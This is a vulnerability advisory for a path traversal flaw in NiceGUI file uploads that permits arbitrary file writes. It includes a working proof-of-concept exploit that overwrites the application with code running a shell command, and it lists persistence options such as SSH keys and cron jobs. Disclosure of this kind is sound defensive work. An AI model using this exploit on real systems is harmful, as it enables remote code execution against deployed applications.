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CVE-2026-25732

NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write

Public exploit code

Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.

Impact

### Summary NiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. **Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. ### Details **Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115)) **Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()` ```py async def save(self, path: str | Path) -> None: target = Path(path) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data) ``` **Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts: - Relative paths with `../` sequences - Absolute paths - Any file system location writable by the process When developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs: ```py save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py" await e.file.save(save_path) # Writes outside UPLOAD_DIR ``` ### PoC - Terminal 1 (App) ```bash cd /tmp && mkdir -p evilgui && cd evilgui python3 -m venv evilgui && source evilgui/bin/activate pip install nicegui cat > vulnerable_app.py << 'EOF' from nicegui import ui from pathlib import Path UPLOAD_DIR = Path('./uploads') UPLOAD_DIR.mkdir(exist_ok=True) @ui.page('/') def index(): async def handle_upload(e): save_path = UPLOAD_DIR / e.file.name await e.file.save(save_path) ui.notify(f'File saved: {e.file.name}') ui.upload(on_upload=handle_upload, auto_upload=True) ui.run(port=8080, reload=False) EOF python3 vulnerable_app.py & ``` - Terminal 2 (Exploit) ```bash cat > exploit.py << 'EOF' import requests, re, time s = requests.Session() s.get('http://localhost:8080') time.sleep(2) html = s.get('http://localhost:8080').text match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html) upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}' payload = '''from nicegui import ui import subprocess @ui.page("/") def index(): ui.label(subprocess.check_output(["id"], text=True)) ui.run(port=8080, reload=False) ''' s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')}) EOF python3 exploit.py ``` - Restart the application to execute the injected code: ``` pkill -f vulnerable_app && python3 vulnerable_app.py ``` - Observe http://localhost:8080 ### Impact **Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path. **Attack Capabilities**: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files **Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples. ### Remediation #### For Users ```py async def handle_upload(e): safe_name = Path(e.file.name).name # Strip directory components! await e.file.save(UPLOAD_DIR / safe_name) ``` #### For Maintainers ```py async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve() if base_dir is not None: base_dir = base_dir.resolve() if not target.is_relative_to(base_dir): raise ValueError( f"Path '{target}' escapes base directory '{base_dir}'" ) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data) ````

Affected packages

EcosystemPackageAffectedFixed in
pipnicegui<= 3.6.13.7.0

Affected products

VendorProductAffected versions
ZauberzeugNicegui
before 3.7.0

Weakness classification

CWE-22CWE-601

References